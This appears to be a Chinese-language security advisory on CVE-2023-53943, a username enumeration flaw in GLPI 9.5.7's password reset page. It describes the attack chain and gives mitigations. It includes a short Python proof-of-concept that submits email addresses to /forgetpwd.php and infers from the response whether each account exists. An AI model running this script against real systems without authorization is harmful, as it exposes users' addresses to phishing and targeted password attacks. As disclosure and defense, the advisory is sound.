IPBUF安全漏洞报告
English
CVE-2023-53943 CVSS 5.3 中危

CVE-2023-53943 GLPI密码重置功能用户名枚举漏洞

披露日期: 2025-12-18

漏洞信息

漏洞编号
CVE-2023-53943
漏洞类型
用户枚举/信息泄露
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
GLPI

相关标签

CVE-2023-53943用户名枚举信息泄露GLPI密码重置身份认证MEDIUM

漏洞概述

CVE-2023-53943是GLPI(一个开源IT服务管理平台)9.5.7版本中存在的信息安全漏洞。该漏洞位于密码找回功能模块,攻击者可以利用此漏洞通过密码重置端点系统性地测试和验证邮件地址是否与平台上的用户账户关联。攻击者通过向密码重置接口发送请求,并分析服务器返回响应的时间、内容或状态码差异,可以确定特定邮件地址是否已注册为有效用户。这种用户名枚举攻击是进一步社会工程学攻击、钓鱼攻击或针对已知用户的定向攻击的前置步骤。由于密码重置功能无需认证即可访问,攻击门槛较低,任何人都可以发起此类攻击。该漏洞影响GLPI 9.5.7版本,建议用户升级到最新修复版本以消除此安全风险。

技术细节

该漏洞存在于GLPI的lost password恢复机制中。攻击者通过发送密码重置请求到/forgetpwd.php端点,当提交不同的邮件地址时,服务器会根据邮件地址是否存在于数据库中返回不同的响应。具体表现为:1)如果邮件地址存在于系统中,服务器返回特定的提示信息(如"如果账户存在,邮件已发送");2)如果邮件地址不存在,服务器返回不同的提示(如"邮件地址未找到")。这种响应差异使得攻击者能够枚举系统中注册的用户邮件地址。攻击者可以利用自动化工具(如Burp Suite Intruder或自定义脚本)批量测试邮件地址列表,快速收集有效的用户信息。漏洞的CVSS 3.1评分为5.3(AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N),表明通过网络即可利用,无需特殊权限或用户交互即可实施攻击。

攻击链分析

STEP 1
步骤1
攻击者访问GLPI密码重置页面/forgetpwd.php
STEP 2
步骤2
攻击者提交一个测试邮件地址到密码重置表单
STEP 3
步骤3
服务器根据邮件地址是否存在返回不同的响应消息
STEP 4
步骤4
攻击者通过自动化工具批量测试邮件地址列表,记录每个地址的响应差异
STEP 5
步骤5
枚举出系统中有效的用户邮件地址列表
STEP 6
步骤6
利用收集到的用户信息进行后续攻击,如钓鱼邮件或定向暴力破解

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2023-53943 GLPI Username Enumeration PoC import requests import sys target_url = "http://target-server/glpi" forget_password_url = f"{target_url}/forgetpwd.php" def check_email(email): """Check if email exists in GLPI via password reset endpoint""" data = { 'email': email, 'update': 'Update' } response = requests.post(forget_password_url, data=data) # Analyze response to determine if email exists if "sent" in response.text.lower() or "send" in response.text.lower(): return True # Email likely exists elif "not found" in response.text.lower() or "no account" in response.text.lower(): return False # Email does not exist return None # Unable to determine # Example usage test_emails = [ "[email protected]", "[email protected]", "[email protected]" ] for email in test_emails: exists = check_email(email) if exists: print(f"[+] Valid user found: {email}") elif exists is False: print(f"[-] No user: {email}") else: print(f"[?] Unknown: {email}")

影响范围

GLPI 9.5.7

防御指南

临时缓解措施
在官方修复版本发布前,可采取以下临时缓解措施:1)配置Web应用防火墙(WAF)规则限制密码重置端点的请求频率;2)统一密码重置功能返回"如果账户存在,邮件已发送"的通用信息;3)添加CAPTCHA验证码防止自动化攻击;4)启用登录尝试监控和告警机制;5)限制密码重置功能的IP访问频率。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表